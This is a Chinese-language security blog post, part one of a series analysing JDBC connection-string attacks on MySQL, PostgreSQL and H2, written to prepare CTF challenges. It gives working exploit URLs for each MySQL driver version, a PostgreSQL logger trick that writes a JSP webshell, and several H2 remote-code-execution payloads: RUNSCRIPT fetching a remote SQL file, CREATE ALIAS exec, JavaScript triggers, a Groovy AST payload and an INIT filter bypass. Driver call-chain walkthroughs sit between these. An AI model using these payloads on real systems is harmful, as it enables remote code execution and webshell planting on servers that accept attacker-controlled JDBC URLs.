JavaSec 14-浅谈 JDBC Attack(上)
前言
最近一直忙着没写新东西,决定还是每周写点关于 Java 的好,哪怕是其他有趣的东西,这次为了给队内赛出题想到了之前浅学辄止的 JDBC ,从 MYSQL 到其他类型数据库,包括一些新的不出网利用手法都想学着写一些。
预感到会很长,所以先写个上篇。
Mysql
漏洞简述
通过 JDBC 连接 MySQL 服务端时,会有几句内置的查询语句需执行,其中两个查询的结果集在MySQL客户端进行处理时会进行反序列化处理,若攻击者能控制 JDBC 连接设置项,则可以通过设置其配置指向恶意 MySQL 服务器触发 ObjectInputStream.readObject(),构造反序列化利用链从而造成 RCE,很好理解,本身数据就是序列化传输的,自然可能存在这个漏洞点。
可被利用的两条查询语句:
- SHOW SESSION STATUS
- SHOW COLLATION
JDBC连接参数
- statementInterceptors : 连接参数是用于指定实现 com.mysql.jdbc.StatementInterceptor 接口的类的逗号分隔列表的参数。这些拦截器可用于通过在查询执行和结果返回之间插入自定义逻辑来影响查询执行的结果,这些拦截器将被添加到一个链中,第一个拦截器返回的结果将被传递到第二个拦截器,以此类推。在 8.0 中被 queryInterceptors 参数替代。
- queryInterceptors : 一个逗号分割的Class列表(实现了 com.mysql.cj.interceptors.QueryInterceptor 接口的 Class),在Query"之间"进行执行来影响结果。(效果上来看是在 Query 执行前后各插入一次操作)
- autoDeserialize : 自动检测与反序列化存在BLOB字段中的对象。
- detectCustomCollations : 驱动程序是否应该检测服务器上安装的自定义字符集/排序规则,如果此选项设置为“true”,驱动程序会在每次建立连接时从服务器获取实际的字符集/排序规则。这可能会显着减慢连接初始化速度。
环境搭建
这边用了 8.0.13 版本和 CB 依赖
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
</dependencies>
Client 端
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class MySQL2JDBC {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe";
Connection connection = DriverManager.getConnection(url);
connection.close();
}
}
fakeserver 这里选择了 4ra1n,神,也可以用 java chains 里面的那个模块,但也是根据这个改的,加了一些方便爆破版本及利用链的功能,感觉不错
detectCustomCollations链
- 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=deser_CB_calc.exe
- 5.1.29-5.1.48:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe
- 5.1.49:不可用
- 6.0.2-6.0.6:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe
- 8.x.x :不可用
ServerStatusDiffInterceptor链
- 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe 连接后需执行查询
- 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe
- 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe (包名中添加 cj)
- 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc.exe
链路分析
这东西第一次调的我头都大了,少放点图,主要去理解这个过程吧。
连接建立与URL解析 (DriverManager.getConnection
-> NonRegisteringDriver.connect
)
NonRegisteringDriver.connect
开始处理连接请求。acceptsUrl()
: 简单检查 URL 格式和 schema (jdbc:mysql:
).getConnectionUrlInstance():
跳过缓存检查。
ConnectionUrlParser.parseConnectionString()
: 使用正则表达式CONNECTION_STRING_PTRN
解析JDBC URL字符串,将其分解为scheme, authority, path, query, fragment等部分。因为 schema 是
jdbc:mysql
,所以实例化了com.mysql.cj.conf.url.SingleConnectionUrl
来代表这个连接配置。
初始化连接 (ConnectionImpl.getInstance
)
这是创建实际JDBC
Connection
对象的地方。调用链进入
createNewIO(false)
->connectOneTryOnly(false)
:在
connectOneTryOnly
内部,会进行实际的socket连接、握手、认证。成功连接后,调用
initializePropsFromServer()
:这个方法非常关键,它会从服务器加载属性、设置会话变量、配置字符集等。
内部会加载并初始化在URL中指定的查询拦截器
ServerStatusDiffInterceptor
。调用
handleAutoCommitDefaults()
:这个方法确保连接的
autocommit
状态符合JDBC规范(默认为true)。调用
setAutoCommit(true)
:setAutoCommit
内部为了将autocommit
状态同步到服务器,会执行this.session.execSQL(null, "SET autocommit=1", ...)
。
第一次SQL执行 (SET autocommit=1
) 与拦截器首次介入
session.execSQL
会准备发送SET autocommit=1
命令。调用
sendQueryString(...)
来构建包含SET autocommit=1
的网络数据包。在
sendQueryString
内部,真正发送数据包之前,会调用sendQueryPacket(...)
。sendQueryPacket
内部,在实际发送网络包给服务器之前,会调用invokeQueryInterceptorsPre(...)
:此时的
this.queryInterceptors
列表包含了ServerStatusDiffInterceptor
(被NoSubInterceptorWrapper
包装)。invokeQueryInterceptorsPre
循环调用列表中每个拦截器的preProcess(Supplier<String> sql, Query interceptedQuery)
方法,跟两步进去就到ServerStatusDiffInterceptor
了。
ServerStatusDiffInterceptor.preProcess
的执行
轮到
ServerStatusDiffInterceptor
的preProcess
方法执行。该拦截器的目的是记录和比较连接前后服务器状态变量的差异。为了获取初始状态,它需要执行
SHOW SESSION STATUS
。preProcess
内部调用了populateMapWithSessionStatusValues()
。populateMapWithSessionStatusValues()
内部又会调用executeQuery("SHOW SESSION STATUS", ...)
来执行这个查询。
拦截器内部执行SQL (SHOW SESSION STATUS
)
executeQuery("SHOW SESSION STATUS")
本质上也是一次 SQL 执行,所以它会再次经历类似的流程:
又会走到
((NativeSession) locallyScopedConn.getSession()).execSQL(...)
(这里的locallyScopedConn
是拦截器内部为了执行SHOW SESSION STATUS
可能创建或使用的一个临时/内部连接代理)。再次调用
sendQueryString
->sendQueryPacket
->invokeQueryInterceptorsPre
。关键的“套娃”处理/深度检查:因为本包已经是被 interceptor 拦截下来,在 interceptor preProcess 发的包,所以锁验证不过,不会再次进入preProcess”。这是因为
invokeQueryInterceptorsPre
会有逻辑(如this.statementExecutionDepth
或interceptor.executeTopLevelOnly()
)来防止拦截器无限递归调用自己。所以,这次为SHOW SESSION STATUS
调用的invokeQueryInterceptorsPre
,对于ServerStatusDiffInterceptor
自身,其preProcess
可能不会被再次完整执行,或者其内部判断逻辑使其跳过了再次执行SHOW SESSION STATUS
的部分。
发送 SHOW SESSION STATUS
数据包
最终,执行
SHOW SESSION STATUS
的流程会走到sendCommand()
。sendCommand
负责将SHOW SESSION STATUS
命令的字节码发送到服务器。
服务器响应与客户端处理 SHOW SESSION STATUS
结果
服务器接收到
SHOW SESSION STATUS
并执行,然后将结果集返回给客户端。客户端在
sendCommand
之后,会调用readAllResults(...)
来读取服务器返回的数据。在处理结果的过程中(如
scanForAndThrowDataTruncation
->convertShowWarningsToSQLWarnings
),客户端可能会自动发送SHOW WARNINGS
查询以获取关于上一个查询的任何警告信息。这需要客户端能正确处理SHOW WARNINGS
的响应。
反序列化触发点 (处理 SHOW SESSION STATUS
的结果)
当
ServerStatusDiffInterceptor
中的populateMapWithSessionStatusValues
收到SHOW SESSION STATUS
的结果集后,它会调用ResultSetUtil.resultSetToMap(ResultSet rs, ...)
来将结果集转换为Map。resultSetToMap
内部会循环遍历结果集rs
的每一行。对每一行,它会调用
rs.getObject(columnIndex)
来获取每一列的值。跟进到
getObject(2)
MySQL中的二进制大对象类型 :
MySQL JDBC驱动在处理
getObject()
时,如果连接参数autoDeserialize
为true
,并且它识别出这是一个应该被反序列化的对象(通常通过检查BLOB的前几个字节是否是Java序列化魔数AC ED 00 05
),它就会尝试将内容自动反序列化为一个Java对象。漏洞触发:如果一个恶意的MySQL服务器在响应
SHOW SESSION STATUS
时,将某个状态值(如Variable_value
列)的内容构造成一个恶意的 Java 序列化对象,并将其类型标记为BLOB发送给客户端,那么客户端在调用rs.getObject()
时就会触发反序列化,从而执行任意代码。
总结下来就是:
客户端与MySQL服务器正常建立连接并进行初始设置。
当客户端尝试执行一个命令(例如
SET autocommit=1
)时,预先配置的ServerStatusDiffInterceptor
会拦截这个操作。为了对比状态,拦截器主动向服务器发送
SHOW SESSION STATUS
命令。恶意服务器在回复
SHOW SESSION STATUS
时,返回包含恶意Java序列化对象的特制数据包。Client 发送 SHOW WARNINGS,服务器返回固定消息以顺利通过 warning 检查
如果上面两个过程没问题,客户端用 getObject 处理 SHOW SESSION STATUS 返回的数据,触发反序列化漏洞
Postgresql
简述
通过 Spel 注入打
环境搭建
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.28</version>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.0</version>
</dependency>
Client:
import org.postgresql.Driver;
import java.sql.Connection;
import java.sql.DriverManager;
public class Postgresql2JDBC {public static void main(String[] args) throws Exception {
String URL = "jdbc:postgresql://127.0.0.1:11111/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:3126/tlCeCQYq.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}
链路分析
如果这里调试还会走到之前 mysql 那边的逻辑,就先在 pom 把依赖删了,先经过 parseURL()
,拿到这一堆切片好的参数
值得注意的是两个参数
socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext
socketFactoryArg=http://127.0.0.1:3126/tlCeCQYq.xml
这个 socketFactory
参数会被 PostgreSQL JDBC 驱动识别,并在内部调用 ObjectFactory.instantiate()
来加载并实例化传的类名
然后跟进到 makeConnection -> PgConnection -> ConnectionFactory.openConnection -> ConnectionFactoryImpl.openConnectionImpl -> SocketFactoryFactory.getSocketFactory -> ObjectFactory.instantiate
不出网写文件
其实就是利用上面看到的一个日志处理部分,还有这个下面的
LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);
import org.postgresql.Driver;
import java.sql.Connection;
import java.sql.DriverManager;
public class Postgresql2JDBC2 {
public static void main(String[] args) throws Exception {
String URL = "jdbc:postgresql://127.0.0.1:11807/test/?loggerLevel=DEBUG&loggerFile=shell.jsp&<%Runtime.getRuntime().exec(\"calc\");};%> =\n";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}
H2database
H2database 平时接触的不多,比赛中会出一些注入,前段时间遇到一个弱口令进去看了看
环境搭建
H2的Web console不仅可以连接H2数据库,也可以连接其他支持JDBC API的数据库,jdk 需要换到11
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.3.232</version>
</dependency>
poc.sql:
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc');
该payload适用于任何有H2依赖的JDBC URL
import java.sql.Connection;
import java.sql.DriverManager;
public class H2database2JDBC {
public static void main(String[] args) throws Exception {
String ClassName = "org.h2.Driver";
String JDBC_Url = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
String username = "root";
String password = "root";
Class.forName(ClassName);
Connection connection = DriverManager.getConnection(JDBC_Url, username, password);
}
}
链路分析
这个起手有点不一样,先在这打好断点,不然不好过来
然后 SessionRemote.connectEmbeddedOrServer -> Engine.createSession -> openSession
init 为 RUNSCRIPT FROM 'http://127.0.0.1:8000/evil.sql'
command = parser.prepareCommand(sql); H2的SQL解析器会将这条 RUNSCRIPT
语句解析并准备成一个 CommandContainer
,其内部包含一个具体的 RunScriptCommand
实例
回到 Engine.openSession,跟进 executeUpdate(null) -> executeUpdate(generatedKeysRequest, true) -> update -> ResultWithGeneratedKeys.of(prepared.update()) ->
最后这里遍历调用 SQL 语句
攻击手法总结(直接照搬了)
由于 JDBC 连接时INIT
只能执行一条 SQL 语句,所以攻击方式比较有限
- 能出网,可以打 RUNSCRIPT
- 有回显:
CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException{
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}$$;
CALL SHELLEXEC('whoami');
- 不出网
H2 和 MySQL 一样有 INFORMATION_SCHEMA。H2 提取 URL 中的配置时是通过分割分号;
来提取的,因此 JS 代码中不能有分号,否则会报错(可以加上反斜杠代表转义),//javascript
是 H2 的语法
在 H2 内存数据库中创建一个触发器 TRIG_JS,该触发器在向 INFORMATION_SCHEMA.TABLES 表插入数据后执行。触发器的主体是一个JavaScript 脚本
jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")'
另外,目标机器有groovy依赖,能打AST注解
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-sql</artifactId>
<version>3.0.8</version>
</dependency>
jdbc:h2:mem:test;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$
- 绕过
INIT被过滤的时候,TRACE_LEVEL_SYSTEM_OUT
,TRACE_LEVEL_FILE
,TRACE_MAX_FILE_SIZE
能触发堆叠注入,分号需要转义
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER TRIG_JS BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")$$--
呃随便写写,先写这么多,假期再写点,想玩玩 MCP ,想复习